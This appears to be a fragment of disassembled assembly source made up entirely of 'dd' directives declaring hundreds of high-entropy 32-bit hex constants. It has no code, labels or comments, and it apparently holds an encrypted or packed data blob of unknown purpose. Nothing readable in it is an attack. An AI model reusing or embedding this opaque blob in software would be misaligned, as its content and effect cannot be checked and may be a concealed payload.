		dd 706C2DD2h, 0C104D702h, 0A2F7E1EDh, 38EDC549h, 59ADF726h
		dd 1FB49272h, 0BD6DA7D7h, 72FCBB83h, 0E4460003h, 67D7F8EDh
		dd 0ED8A4C61h, 71A2F888h, 9571CA46h, 4461A2F2h,	0D71D6DE6h
		dd 0A96F45E5h, 0C3F0D021h, 6DE60578h, 0D050F71Fh, 8AF4D946h
		dd 0A45D60D0h, 0A8D52DA6h, 0F4857DA2h, 6CE00C21h, 18A50079h
		dd 0B6ABD75Fh, 6511F404h, 0F14DAA82h, 0E7E7F8A3h, 0C9C78035h
		dd 0A5E71436h, 6D7AB67Dh, 7D6D5F45h, 75FE2C5h, 6A51A4C7h
		dd 0E7D25FB5h, 0D1866DADh, 0ADE7EEADh, 0EDBB6251h, 578F21E5h
		dd 2B80D4C5h, 0F0F0D341h, 0F7E32D8Eh, 0EE466DEDh, 0FDB138F4h
		dd 78E0C51Ch, 34FDB338h, 51EDD6C5h, 2E27B1F7h, 0E7E601B3h
		dd 0F7C7C0CAh, 769CB739h, 31A1569Ch, 7C75D738h,	130FFEF1h
		dd 2E50014Fh, 73B1B486h, 0AA704DADh, 1459D9ADh,	2D9F29C4h
		dd 75E630BBh, 9D6DA678h, 0C594EAE7h, 0CDEDCEh, 0AE310AE8h
		dd 4AF7D76Dh, 0F6D5C568h, 6DE4A25Ah, 362DAFDDh,	0EB0CE932h
		dd 0E70F2D96h, 0F4C50C78h, 7AC75F11h, 0F863D0A7h, 0D053F7E4h
		dd 0B1F18C2Eh, 4720A51h, 0C707EDD9h, 0FC054DE5h, 65C76EB6h
		dd 0ED83AD65h, 41E3F76Bh, 67ED80A8h, 85D0CFE7h,	0F76BBED8h
		dd 0BC7649E1h, 0E47274EDh, 3493FC4Dh, 680DC7E1h, 0B8B3AAC8h
		dd 0E37DE8C7h, 0F7C1BE82h, 0C586A06Ch, 0E9E7052Dh, 0F0E8C561h
		dd 0C7801127h, 766DEF85h, 0DCEC5510h, 43722D82h, 0E5861481h
		dd 80D765F6h, 0ADC347F7h, 0E05540F5h, 742D6BFCh, 0FC4DA942h
		dd 72362D60h, 95AC5D2Eh, 6BF7C777h, 2DDE4565h, 69E9B24Bh
		dd 0E4ADC5C7h, 44E487E7h, 0D71436F0h, 9D948CCAh, 2E2122F7h
		dd 2D9460A8h, 41A5C714h, 282D5AFEh, 44516BE7h, 0E7F57BDFh
		dd 0F086CC84h, 6D3D1C3Eh, 0EDE1C47Dh, 0B40860A3h, 7AED90ADh
		dd 84D84442h, 0E7742DE2h, 6E3C5D65h, 20C7546Dh,	0F7A1E875h
		dd 3F0950D0h, 346D2EBEh, 73C47BD7h, 0F7F8339Ah,	0D20659A7h
		dd 0A7B15BADh, 6D377E65h, 280B541Ch, 0E0FAC685h, 792B61h
		dd 0C71FF7BFh, 8AB941A5h, 20501EB4h, 6D26F971h,	2089F7BBh
		dd 0A103ECC5h, 4612A51h, 0C7F834DFh, 92E1496Ah,	0B851C3F7h
		dd 0ADD0C6A4h, 456EE7A4h, 0D00BEF85h, 86716B60h, 0D758FCEEh
		dd 0A2B644CAh, 6751A4EDh, 769FC149h, 89B92E64h,	7AD70AEh
		dd 0A9592BE7h, 0B2CDB189h, 0D7065969h, 0C74E2Dh, 2D8A524Ch
		dd 716DC7A5h, 9AEDE9C4h, 0B6341FE7h, 0E724ED9Dh, 8E9359A2h
		dd 0A9910B2Dh, 4FF0655h, 4563E7E7h, 1981FF05h, 427924E7h
		dd 0C7E93BB0h, 0EB440C60h, 6CD7DFEDh, 0CFA59459h, 79A2C707h
		dd 443488B2h, 641EB12h,	4FE2BAC2h, 5B3565A5h, 3822502Dh
		dd 6D987AECh, 4386F722h, 0BA6D9718h, 87A79D34h,	24C635DBh
		dd 48FE5929h, 42F77EF7h, 0AD720FF1h, 90EA4BF0h,	0BCED188Ch
		dd 0EF603645h, 758167ECh, 0FA456B4Ch, 0CFD7637Fh, 67CFC5DEh
		dd 59627149h, 0A62DCE06h, 6DCFCD7h, 0D7E72DCEh,	0CE06D0FCh
		dd 0FCD7252Dh, 0B05DAEE8h, 4D24B974h, 36EDF4C7h, 44BC738Dh
		dd 0A2746DEDh, 0FA0B8DEh, 0B1F7A435h, 0ED24F01Bh, 64FE8470h
		dd 482D0400h, 5051A6A3h, 8AB9ED82h, 2A3041E4h, 79F7147Ch
		dd 0AD0331D8h, 79A94965h, 0E773F3C4h, 234C8555h, 0D79FD7A1h
		dd 0FD06516Dh, 0ED12CDF4h, 0EDC54655h, 0F8508121h, 0B46DE884h
		dd 8465E4E7h, 0E7E6B0DBh, 0F546E446h, 0A2E714ADh, 0AD9A8184h
		dd 492B6135h, 0B878ACB4h, 0AC616BE7h, 0D7DF2D85h, 0C0455D20h
		dd 25E7D4B9h, 6DAE3A65h, 0D8FDF7DBh, 0DCADE806h, 2E4962E7h
		dd 0E754B7A5h, 0A5A33869h, 0F5D77FBFh, 0EDC987F8h, 98674C9Bh
		dd 17ADFB84h, 84600730h, 0C170ADF6h, 0D9058097h, 0A3E7F9FCh
		dd 0EDD00549h, 69A6E7F4h, 0DFF4852Bh, 545EFF7h,	0D7D9FCD9h
		dd 0EDC4516Dh, 6DCC3CEDh, 74F68541h, 45228176h,	48F0F845h
		dd 45DE9D7h, 2096EDF4h,	9C616DE0h, 36E768ADh, 0B7B84F74h
		dd 4965C71Fh, 0F7ADF3C7h, 0C5F4CED7h, 0C705ADE7h, 916AF84Ah
		dd 6DC7A4ADh, 0ADE28559h, 65E8D71Fh, 0AE2DDEC7h, 0F651A2F7h
		dd 0E7E0ADA8h, 0F9C5F0FCh, 0A2F72F37h, 3FF2C569h, 69E4617Fh
		dd 0C6EDAAAEh, 8C8CC1C7h, 0B2A22D9Dh, 410E79E6h, 2DD726EDh
		dd 6802F61h, 4DE4E77Fh,	0D2ED816Ah, 0B859E661h,	0C7E1B7A6h
		dd 4BF67965h, 0A5D747EDh, 0ADDD0555h, 5525F7F8h, 60ADFD05h
		dd 6C58983Fh, 0F787EDBEh, 0DC856521h, 0A231A8EDh, 0FEF68569h
		dd 6125C7B8h, 2CED6149h, 0C4B8E121h, 0E7053FF2h, 0B7604969h
		dd 0C3C7182Dh, 0EDD0C788h, 45E6D7DDh, 177796AFh, 0C5940CE7h
		dd 0D758ADEBh, 0ED04F433h, 2EC726EDh, 31F3C649h, 596BD7E9h
		dd 0B4ADC385h, 0C4E83493h, 0E7BD37F9h, 0F9C55122h, 22D77B37h
		dd 0ED056845h, 0E353B1CDh, 2B2DECC6h, 4E896F7h,	639DEDC3h
		dd 0E0054165h, 0E2C7DAADh, 0B6ECC555h, 7D69C72Bh, 0E407C504h
		dd 0B2696BD7h, 0D7DAAD90h, 0F0475925h, 0EAF725B6h, 2D99AC61h
		dd 4D2C6D10h, 36EDB16Ch, 0C5456FE7h, 0D726ADD0h, 0E90451EDh
		dd 0E59177EDh, 47835449h, 4561D71Fh, 4AEDE147h,	4F381C7h
		dd 0D7CFEDFEh, 0F5059CF5h, 65706137h, 0ADD8C761h, 0E4F571CFh
		dd 0A7ADD2C7h, 451413C7h, 10FEDDCh, 0CD4579A2h,	0A6E74B2Dh
		dd 2D93E161h, 79E531CAh, 0F7ED87FEh, 3444CBADh,	0C7E12D8Eh
		dd 0C185B49Eh, 0AAC765EDh, 0ED669745h, 0B4E2D754h, 11729263h
		dd 0C741E543h, 331BEDDDh, 0D2C5E8DBh, 24E7B22Dh, 2DCE0614h
		dd 0BD24F727h, 3377A45Bh, 0C31059D7h, 0CC747198h, 0CB4687A1h
		dd 0A3ACEDh, 0F4EC85E4h, 9DA1C7A5h, 0F0ED72D4h,	0D28DB9EAh
		dd 0E7086104h, 0F3C5866Eh, 0E09866ADh, 0F684BC51h, 7566F85Bh
		dd 24B43851h, 40CDF3C7h, 95B93469h, 44204DA1h, 64A33AEDh
		dd 0ED29E369h, 59A2BF47h, 407AD6C6h, 0A3A428B1h, 0D71E7780h
		dd 0B86365E5h, 0A1502931h, 2DD285B4h, 4370E754h, 0F2D0C9C5h
		dd 456D6BD7h, 0B2726DEFh, 0DF05D3BEh, 67BC774Ch, 2D001669h
		dd 4966E81Bh, 9EB6CEC7h, 0F1F031A2h, 0A3484C5Fh, 8853982Ch
		dd 25D7C72Dh, 0E7BFF265h, 6F79B4CAh, 562D6DB1h,	0A271A589h
		dd 0ABF9F8E0h, 0AB037D28h, 6783DE2Dh, 14DD2265h, 6DA9E7B8h
		dd 67886ACDh, 0F0D4D043h, 0C7306D6Dh, 29937DE5h, 22F479A0h
		dd 77AC2DBEh, 64F6B189h, 3E7CD385h, 4616DC7h, 0B19EB4F4h
		dd 0E506F807h, 6CD7E0BCh, 0ED9DF138h, 79A2E7D1h, 0A6BCF785h
		dd 6E656DC7h, 0C7670884h
		dd 0D604F0F0h, 20D0F52Dh, 108E1C65h, 41A2F7D9h,	7A6DE846h
		dd 0C74D2AD7h, 0D765ADC4h, 0CE454432h, 66E76500h, 0ADD04665h
		dd 616DC74Ah, 71EDE6C4h, 44BCCD93h, 40C8B1F3h, 0FA04B484h
		dd 6FD71F2Dh, 389D3551h, 41E9C747h, 986DD846h, 0C7D074E7h
		dd 0E71AADE2h, 0A2780C7Ah, 77CEA2Dh, 6DC44547h,	45E6F7F7h
		dd 0E877ACAFh, 958CED51h, 0F7302D8Dh, 9DE161A6h, 0A1709E77h
		dd 0F1D88645h, 5522F786h, 24ADCF86h, 4749EAD7h,	0D760F3D4h
		dd 0D8C6CCCEh, 29D72D73h, 0EDE40769h, 61EBD751h, 8D2DCDC6h
		dd 0C571A1A1h, 0E7E72DF9h, 0D3C47D64h, 0A0B2A274h, 73A2AE6Dh
		dd 0C443C7A6h, 0F16DEE86h, 0E27964E7h, 0C763BCB7h, 0E7C74DE1h
		dd 0EA6109EDh, 2DFE0569h, 7D29C707h, 11ADA63Ch,	469C42D7h
		dd 0F7F637CEh, 0BC3079A6h, 0EBC7B82Dh, 2DFFC749h, 6964E71Fh
		dd 0D5F5972Fh, 0C4A78FF7h, 0E7DD2DF6h, 0D0C6A10Fh, 0EDE775F7h
		dd 0B4FE054Dh, 756BD71Dh, 0E5F3F1C5h, 0BF61E1C7h, 0F787F16Dh
		dd 0E6C7888Ch, 0E9C72F2Dh, 0ADBAB57Dh, 69E7D0E0h, 0DFB1E5C6h
		dd 857DE9C7h, 4105F4E4h, 0D8C72BE2h, 0ACF7C4EDh, 0B6B9AF45h
		dd 49E4E7C4h, 0DEBFFF05h, 47DC53E7h, 0A175ADF9h, 0C0C57485h
		dd 35C7C5EDh, 0C2FF0550h, 55683195h, 0FDEDC105h, 7979A521h
		dd 0E73A37B5h, 0DA068417h, 0A3E786ADh, 0EDAAA151h, 7528D784h
		dd 0E5B78ABEh, 0C559EAD7h, 260ADDBh, 0CDC559A3h, 0E3E7A0EDh
		dd 0BAA39855h, 491C7D7h, 39B2E306h, 575E8E7h, 0E77AB2E3h
		dd 0B1F87DE9h, 51515CADh, 2DF5060Fh, 4DE81074h,	6EB4D4C6h
		dd 0C455A223h, 0D71AEDD8h, 99E16165h, 0EA1074B5h, 0EDD8C64Dh
		dd 0E499F769h, 27ADDAC5h, 86BC91C7h, 0C792BCE4h, 0AAED0094h
		dd 2AD76EEDh, 0EDC10449h, 792BE74Bh, 0E1F795C0h, 84756DF7h
		dd 0E70774C2h, 0E7C769A8h, 0DFF7E02Dh, 7AC4C504h, 596DF7E4h
		dd 512D8DF5h, 94780EC7h, 14F54AABh, 0BDD8BC12h,	0E900742Dh
		dd 0EDE3C661h, 54B11078h, 85EDC004h, 0FBF03730h, 2C326D95h
		dd 97D849E0h, 60E7262Dh, 62AF9861h, 7128F715h, 376DF5C5h
		dd 0C62CDC02h, 0D7F9EDF8h, 0FAC53C51h, 9BD7A2BAh, 0FAB7DB87h
		dd 55630E46h, 0C3ADCDC5h, 4644B5C7h, 0E7A06DC6h, 0A52D7036h
		dd 0D5D7CAF2h, 0ADD0C528h, 0C48CE76Eh, 38FCCA47h, 444DA7C7h
		dd 0D7DFEDE1h, 0DE854126h, 4E5D4CBFh, 0EDC4C7D4h, 0B4648375h
		dd 0DFC1E246h, 0F74DE6D7h, 139EB474h, 90AC59E7h, 0A1C7A5ADh
		dd 0B6106155h, 0FCD982DEh, 702DD546h, 530A1E7h,	932E6DDDh
		dd 0C585712Ah, 0F7C7C16Dh, 0FCC30454h, 0D077402Ah, 0E3ED9D01h
		dd 0C668F1C7h, 0E0466DE6h, 0D24665A5h, 0A1C76DADh, 0AD90211Ch
		dd 0E4305374h, 0ABEDB3A9h, 47485F7h, 916A81ECh,	0EF8575EEh
		dd 28814FC6h, 0B49F1249h, 5DA0C7CAh, 0E7748500h, 0C6716BE7h
		dd 71BA7CC0h, 0E03E91E2h, 56D725C2h, 0E2F0F910h, 919734A2h
		dd 51CAD079h, 395C0DC7h, 0D7D582E3h, 0FEB8A951h, 93E7D9A2h
		dd 0ADD07895h, 979812B8h, 4023B18h, 9BB91D14h, 14032D88h
		dd 0D67B89DFh, 5AE7597Ah, 0E7C53B4Ch, 0A0D80457h, 0AD92D3C5h
		dd 5AAEDDF7h, 2EDF6D55h, 0FC7A5D20h, 2BC793C4h,	2D45C165h
		dd 61E5B364h, 0DDADB3E1h, 86E7754Fh, 8920E4EAh,	0F7452781h
		dd 688015BBh, 6DE885A4h, 55EBE7B4h, 0E3EDA9E9h,	0AA71AB21h
		dd 21A0AD75h, 82E1792Bh, 6B2109F4h, 2D856975h, 45A78177h
		dd 58F17AAFh, 6456DD7h,	0F71A73FEh, 0DD467521h,	30E7E7ADh
		dd 2DE346E4h, 592573E2h, 0FBADB5C9h, 0C6756BA1h, 0B375EDC1h
		dd 9AFC6560h, 0D5F075F1h, 0B4A089EEh, 868F7DFh,	0E52D85CAh
		dd 89F391F7h, 0A181DE38h, 181EC217h, 2491A381h,	6DEEC48Fh
		dd 0C8A04306h, 972DD7C7h, 8679659Ch, 0C75D6DE6h, 0CC058477h
		dd 0E5C7A56Dh, 0EDABB78Fh, 7125D76Bh, 64ADFD04h, 46873592h
		dd 0C7A2B4CBh, 0F2C7CCDEh, 0E8F7EBEDh, 0ADE00471h, 6121C747h
		dd 306DEFC5h, 0EA84FBC7h, 10BED9Eh, 9B9D69E5h, 0EBD01A76h
		dd 74AEA875h, 0E805F7D7h, 0F839D8C5h, 66967D7h,	0D7F86DC2h
		dd 0EBC749A7h, 0A0D0E2ADh, 3EE20655h, 7166E7E1h, 0DFF6F606h
		dd 0C661E421h, 215B2DCFh, 90BDF059h, 70F7CB2Dh,	0F1F1C564h
		dd 45EDD732h, 15F3DE86h, 0C6749CE7h, 0D707B0C9h, 0EF054525h
		dd 0ABD7B82Dh, 0ED792B5Dh, 592BC7EBh, 21469B23h, 4661EDF7h
		dd 0C78501F5h, 5E3575EBh, 6931D7EDh, 6850B5Dh, 4D6D93A3h
		dd 0E76DAEECh, 0C465E1E7h, 0F084ADC3h, 0ED067DA2h, 61A295F7h
		dd 0EDDEC445h, 71A2E755h, 0ABADC3C5h, 47165E7h,	61E72DD0h
		dd 0CE447DE4h, 0A3C791EDh, 2DFF0679h, 79E8C723h, 2D2DF706h
		dd 44CCE9C7h, 0E7FFEDF5h, 0C7877DE5h, 0E4C7F7FCh, 0EDA60855h
		dd 58F02267h, 0DFEDAA80h, 4551E7E7h, 0E714F4C2h, 0A58369E5h
		dd 6B9195EDh, 84E04571h, 6C15E7F1h, 0DFBE8089h,	8D49E2C7h
		dd 0A1F17FBFh, 6C8069EBh, 57BFB3EDh, 79E405DCh,	75A2B115h
		dd 23B6C646h, 44CCBC43h, 0B302ADE5h, 8D96B86Fh,	0BFF7802Dh
		dd 0F4B94958h, 6563E7E0h, 9381D985h, 4179E4F7h,	0B1B7FE42h
		dd 0E70545EDh, 0AFE7DFA4h, 0F62AF77Dh, 14EFD7E1h, 8DB4ECC5h
		dd 0A06411F7h, 0C7702DB9h, 0D985A769h, 646DC3EDh, 0BCFE3745h
		dd 516BE7D2h, 9739D5C6h, 0C7D857F2h, 0B10701D9h, 0F2C7CB5Ch
		dd 6BD73039h, 0B9F6C541h, 6DE101C9h, 74ADE3C4h,	0E5DC45E7h
		dd 50026D92h, 0CE0641AEh, 0A2E714EDh, 0B4FA464Dh, 752231F0h
		dd 0D76DE6C5h, 4DC2AD7h, 0A195EDE6h, 0ECC669E1h, 0ED116780h
		dd 2DDAC659h, 65A1C758h, 0E8AD9168h, 85D071F7h,	912CEDD8h
		dd 0CD06C495h, 0F7D75F2Dh, 0ADD30618h, 796BE7E1h, 1C8C6C4h
		dd 0C5712233h, 0C71FB8D8h, 0E3C749E4h, 9CE7E2ADh, 0ADF5C548h
		dd 5D67E7DFh, 7C39C446h, 0C06924E7h, 414AAD83h,	45A1D7D0h
		dd 2AFCFAEDh, 3CCE8565h, 412A11ABh, 0F578A541h,	138C7BF7h
		dd 0D7DFB474h, 6C317924h, 0A6D781B4h, 2DCDE06Dh, 0E7F8E7BAh
		dd 0B3EDE0A0h, 86796B93h, 0A1B7FCCCh, 537255E9h, 6BE730B0h
		dd 0EDCB8749h, 7562A32Ch, 0AAEDDE44h, 575A1E7h,	0D7F8F4D5h
		dd 0F24645A5h, 6A6CE3EDh, 6D66F04Dh, 6167E73Ah,	64B3D4C5h
		dd 0C55D22C7h, 0F7F1B3FAh, 0CE06B884h, 6B1FAEEDh, 6DEEC54Dh
		dd 7161E736h, 0B5EDA13Dh, 0FFD405F7h, 0C72576B0h, 0FD4649A1h
		dd 2540A82Dh, 2D9C6079h, 616DD7AEh, 0B2B1C486h,	4716750h
		dd 7CB3EDE1h, 95BCD0F9h, 65C7FAEDh, 0ED9CBC51h,	80FFC73Ah
		dd 1FEDD546h, 0C769E5D7h, 0F05D2DECh, 0A9A3596Ah, 0A5E786EDh
		dd 73E3C765h, 8B40F7B5h, 52DF846h, 45516AC7h, 0D024B6F1h
		dd 0CCC6A84Bh, 0BFF7392Dh, 1CF3A27Ch, 7DA013A5h, 9DADF684h
		dd 4669E460h, 0D79336D5h, 0D904516Dh, 0F9F718F6h, 6DCB06ECh
		dd 6968F718h, 72DEEC5h,	61412AC7h, 0C719EDA9h, 0E3C74DAFh
		dd 0E6D71AADh, 0EDDFC641h, 792AD734h, 7DEDE004h, 6F85B72h
		dd 0F7072DF4h, 0FB8449E9h, 0EF3170B5h, 0ADF1C655h, 6C9CA1E9h
		dd 0D12DDAC5h, 854163C7h, 0E76471C8h, 0D146C7BCh, 6DD2416Dh
		dd 0F3F8C465h, 33C7E7A4h, 0E92DCDC5h, 0C728ECC7h, 4029ADDDh
		dd 0CD856922h, 1FE725ADh, 704AE24Ch, 8AC1E721h,	0F7ADA5E3h
		dd 7C0460F7h, 0E7E46D92h, 0FC457161h, 0A270DAC2h, 0DAE23E59h
		dd 6527E799h, 0AAED3599h, 86BA14B1h, 34ACEDCFh,	0ADFC9617h
		dd 7451A6ADh, 0EDDE46C4h, 3A95541Ah, 70A2EB07h,	0B9516520h
		dd 24FD6D38h, 6D38A553h
		dd 0E570DAEDh, 0DAE23E59h, 0B911C7BAh, 63EDA2B9h, 44656B24h
		dd 24EEA2C5h, 65FA1496h, 95D7E3D6h, 0B4C346CBh,	0A03F52A8h
		dd 995CC004h, 8465E0E7h, 0E76AB4ECh, 0B582612Bh, 6B2126ADh
		dd 70CA847Dh, 7926D759h, 0F52DB861h, 0AF4DE4E7h, 33B0EDB1h
		dd 0BD93DBBAh, 0A1E78D43h, 23C90561h, 5DE291E6h, 0D96DAED8h
		dd 0E35CF3D7h, 0D7A270B3h, 0E98400C5h, 607C2CF4h, 7465E24Dh
		dd 75ECF7CFh, 15ADBBE3h, 3455E6A2h, 0E766AD78h,	0D90530A6h
		dd 32C7A8ADh, 3CE207E7h, 41A78F35h, 0C8A44AFDh,	0D75472E7h
		dd 0D79184ADh, 0B0A078C3h, 30D7CCEDh, 0EDE3C740h, 0B024F71Fh
		dd 0F7F6D9C4h, 0C74121E7h, 0C7F6ADEBh, 0C884E47Fh, 6BA16774h
		dd 2DCE4561h, 65EFB3E1h, 0D1E4D1C4h, 0B3B72CD7h, 0E7707186h
		dd 0BFA14521h, 0BF9365ADh, 0B1EA46D4h, 4165F707h, 0F1F6DCC7h
		dd 7556BE1h, 1F1FCFEh, 0AF68ECB7h, 24C7FB01h, 438AA155h
		dd 0D01CF731h, 29EDF504h, 0C77168D7h, 0C00634CAh, 0F645456Fh
		dd 6CE76041h, 0ADF3448Eh, 5D2DE7FFh, 0A5AD8FCDh, 46796BE7h
		dd 0B9B5ADE5h, 0E504F47Bh, 0C1A3AAADh, 0EDB16338h, 4521C705h
		dd 746DACB8h, 6379E0E7h, 805B788Fh, 0D0C45522h,	35F725ADh
		dd 0AD8D3AB6h, 61A8D73Dh, 8FBEC1C4h, 47E430ECh,	0A381BCFAh
		dd 0BDA05524h, 0F3E7C12Dh, 2DFDC7C8h, 4D23B1E6h, 13FCE646h
		dd 0C5F887D7h, 0E7DFADF6h, 0BCCD4521h, 2041A1ADh, 0ADF884C8h
		dd 61EDD715h, 7074BC6Bh, 86652EC7h, 0C0BD3BCEh,	0EE46652Eh
		dd 0A9E7FF7Fh, 0B4C50651h, 65ECA1E6h, 86FCF506h, 0C561A1C7h
		dd 0E747ADFCh, 0E5065961h, 20E79B6Dh, 0EDEC0475h, 752751CFh
		dd 0F5EDE104h, 0C4652021h, 0F7E77FE6h, 912F6C0Dh, 0CE40FAADh
		dd 0ADE504E8h, 45E7E77Fh, 0F1AD9DA1h, 4684EF41h, 6317ADFDh
		dd 0F2066563h, 0CF7BD4Fh, 0C6656160h, 4DA0C7B1h, 4FEDCB44h
		dd 0CE4960FCh, 4154B4A6h, 0A9E841A1h, 0EAD733F4h, 0AD658E51h
		dd 0D454C7AAh, 4DAD97A1h, 46883380h, 7154EDFDh,	0B437412Dh
		dd 0E4A1E3ADh, 0F469EE49h, 0D608E7A6h, 0FBF4800Ch, 6079E1E2h
		dd 0A0CA6D70h, 0EC86C8C4h, 0ABE7B26Dh, 0EDE7444Dh, 59EFE7DFh
		dd 0A4BCEBC5h, 0C7752591h, 7DE36DEFh, 0E905E416h, 20712A38h
		dd 0EDB82A7Dh, 0F0325D47h, 18EDBB2Ch, 846B4DBCh, 0D71CF4E9h
		dd 0B4624049h, 35E7E07Ch, 86C744FCh, 496BA328h,	87ADE046h
		dd 1FD06B5Fh, 0F71BED9Eh, 0C54549A2h, 3D32FDB6h, 0ADD8C780h
		dd 5966F7DDh, 0B8EDC984h, 444DA4C7h, 0D7DFEDEBh, 0DD067964h
		dd 27E73400h, 2DE60549h, 4DA5D7B8h, 0E776BFFEh,	0C5596BD7h
		dd 0E73A6DEEh, 0B10B6927h, 2BD73FFBh, 0F79A8165h, 923AF7BAh
		dd 0EE341437h, 694C96E7h, 0E71FF698h, 81624C33h, 8EF7B107h
		dd 0B0DE8490h, 5925A19Ah, 5A6DCAC5h, 0C7C8C581h, 31432DEAh
		dd 0C0C4D05Ch, 0C4F724B1h, 6DCE46C0h, 349A7366h, 85B1CB85h
		dd 757D25A0h, 0E774748Ch, 99F74164h, 25E71F2Dh,	0F1FCC679h
		dd 64D0E7E5h, 0E77393EEh, 450E25F7h, 0A36FF1F0h, 0DE4569A2h
		dd 6DD7D7EDh, 0ADD70641h, 0F85CE765h, 682DDA84h, 85F882F7h
		dd 0B1652DC7h, 8CEB5167h, 0A5E77AEDh, 0EDDBC561h, 59E5D21Dh
		dd 0DB34D886h, 0C4496BD7h, 121EDDEh, 0E6455DE2h, 79C7BA6Dh
		dd 778E7EECh, 0B0E2C729h, 0FC2DD904h, 0C66D67D0h, 0E731ADF5h
		dd 0E28597BCh, 0A2AA43ADh, 6DE6057Dh, 0E070E7DBh, 0CFEDCCC4h
		dd 8645E591h, 91E6F6EBh, 0DCC475A1h, 87D005B9h,	6DED45ECh
		dd 0A8A4C0ACh, 5A2DDAC4h, 74246421h, 0F726779Ch, 0F0047DADh
		dd 2C7E10Ch, 0F7966170h, 5DE4E7E6h, 0CFED8E33h,	0FCB363A1h
		dd 0E2CB2D8Eh, 0CB4649E7h, 0E0A33D2Dh, 2D576079h, 7C33F767h
		dd 422D8D28h, 1651E6F7h, 0A11E393Fh, 0DAC6DE4h,	2AC79E2Dh
		dd 0EDB58EDCh, 0C519941Bh, 6B39F206h, 78C28A2h,	19DC01FAh
		dd 542248BFh, 0EFC0E31Eh, 6DAE2A88h, 0BE5E712h,	66E1E3C6h
		dd 0C5BAA4C4h, 0F707D9F8h, 0C4C7A06Eh, 54C7E72Dh, 0EDCC0434h
		dd 49E7C8A9h, 72DFD05h,	35556AD7h, 0E768BF33h, 0C5466D6Bh
		dd 21F2342Dh, 2DFA450Ah, 6C9EE7A5h, 0B0EDDEC4h,	0C46DE201h
		dd 0F7976DE0h, 9389903Fh, 0B5B1E2EDh, 89C544D7h, 8BA3C71Bh
		dd 7F2DE6C7h, 64D67D2h,	0C2F888D6h, 0DCC445E0h,	0E0CC4589h
		dd 74CDC561h, 4968E72Fh, 792DE205h, 0B47D61F7h,	91CFB046h
		dd 0E2075D25h, 0E691E377h, 51F78549h, 59A7712Ch, 607CCD06h
		dd 0E17161D0h, 0F73AF9BDh, 93909BF0h, 6FC713F4h, 61C884B4h
		dd 282EE288h, 0D911E4C6h, 63BB69E7h, 0EC96B1BDh, 7A6079E3h
		dd 6803166Dh, 0EDD5C48Bh, 896BE4DDh, 982D6A6Eh,	0AAE159F4h
		dd 13166D00h, 0D7443B35h, 267145C3h, 7FEE0645h,	71A2F7A5h
		dd 23ADACDBh, 4645A52Eh, 0A20BEDD2h, 0EB065963h, 0E4A1F2FFh
		dd 3C8C0175h, 0AC8274BEh, 61A3DD87h, 4685CDF7h,	0D7E3EDC1h
		dd 0C5444FBBh, 0E2E7FFADh, 0ED6F6079h, 752E1316h, 1406F587h
		dd 0C66D6BE7h, 0B1E2EDE6h, 0AE62516Dh, 6DF7D86Dh, 74E1055Dh
		dd 712CE7A0h, 5BAD6B6Ch, 845525F0h, 0D06984DDh,	0DD4445EFh
		dd 0EFC77084h, 0ADC985B0h, 49A28DFBh, 0A42D83B0h, 5716D3Dh
		dd 93FBADC5h, 0E70641EDh, 70D7F8EDh, 0EDE5C69Ch, 0A10AF7C5h
		dd 2572C8C6h, 4769E9C7h, 93FBADC1h, 0EC067DE6h,	2EE7AAF1h
		dd 2D9A4C71h, 61A3C710h, 0B6EDDDC7h, 47160C7h, 0A14FEDFAh
		dd 0EDC56926h, 66F7852Dh, 0ADE08465h, 6DA2B1E2h, 0B532C085h
		dd 55164E7h, 9C32EDEEh,	0A7F86924h, 0A5B2FDEDh,	34D5C741h
		dd 69A7D71Fh, 0C46DDCC7h, 0C55C05C7h, 0F759ADD3h, 0D405C0C4h
		dd 5C7DB6Dh, 6DA6AA58h,	55A2E7BBh, 322D87B8h, 0CD5D6B2Ch
		dd 0E780EDAAh, 0B92908FAh, 0A8D733F7h, 0B46D2828h, 4D6BE7E2h
		dd 0DFFCB521h, 0CD45A5D7h, 0F7995CB4h, 0B3BB24AAh, 9E736EDh
		dd 0F6B27408h, 937CC7B6h, 23AD8FEBh, 7696BE7h, 0A1F242FBh
		dd 8680596Ch, 0ACF7D56Dh, 2D8D2171h, 5561D751h,	0D96D86A1h
		dd 46444DD7h, 12D7EDC3h, 0A86E131Fh, 0EB0E426Dh, 4A8A1349h
		dd 556BE7A7h, 2342FB04h, 85796663h, 0C7B486F4h,	0D6C6BC79h
		dd 0A381E3B7h, 0B274BB5Dh, 0E4B4E7CAh, 1034EB87h, 46443050h
		dd 0A20BADF4h, 0D346A464h, 2EE7B42Dh, 0EDA3B56Dh, 6DA1302Ah
		dd 7FEDA6ADh, 844565C7h, 0C7DDBFEDh, 0B2E375A0h, 2CA1A52Dh
		dd 3CF34475h, 41A82383h, 0B834D505h, 2B59A5C7h,	62C9EDB1h
		dd 0E205616Bh, 67D71FBCh, 0ADE8A245h, 68FBC7D2h, 1CEDDCC4h
		dd 86D43AB5h, 0E7DCB1C5h, 9DC0E810h, 6B22582Dh,	0BCE28569h
		dd 902E2D57h, 0C4ADC0C7h, 4516BE7h, 1393EDE2h, 0B0A47FBAh
		dd 0FC51DBADh, 6DC144C4h, 0D3C0E752h, 0C3ADBB6Eh, 84D074E7h
		dd 0D772ADFAh, 0C0C74960h, 6D51852Dh, 77E0C455h, 75E1F718h
		dd 66EDE3C5h, 32416E63h, 2108AD51h, 0AE2F45A1h,	0A7E7F06Dh
		dd 0EDA7364Dh, 49D7CBh,	4A7CAAE3h, 44CC8193h, 0E7FF2DDBh
		dd 9283412Fh, 0BEE7A8F4h, 6DACA254h, 0DFFBE7ACh, 0F3F3BE03h
		dd 4E4B0F7h, 0E15A30E5h, 0DE455DA2h, 0A760FAEDh, 0EDCD0475h
		dd 7DA6E786h, 0E66DEE04h, 0C741EED7h, 0E04D74C8h, 99227561h
		dd 8DC709ADh, 0AD8D39D0h, 5C7EE7A5h, 426D9623h,	0A3480491h
		dd 5123ADB1h, 0C1C6696Bh, 0A5F706ADh, 0B9746265h, 0A4C4A38Ch
		dd 7ADC1C6h, 626525F7h,	0E7BB6D64h, 4EA241A5h, 0E0F70731h
		dd 6DEEC555h, 4125E771h, 1AADF405h, 379A531h, 0D7B13468h
		dd 0E985456Eh, 65C71F7Bh
		dd 0F9038C41h, 4161D787h, 0E4ADA6EDh, 44496DF7h, 0D7B3EDE9h
		dd 0F5C66D60h, 29E7D6F7h, 0ED977E6Dh, 6960E7E9h, 0E9EDD5C4h
		dd 0C7683DE7h, 0A0AD2DC9h, 0B87454FCh, 6D6177ADh, 0ADE506B8h
		dd 0B06F8F49h, 69F47FF5h, 9584EEB0h, 912BF4AEh,	96EF5DE1h
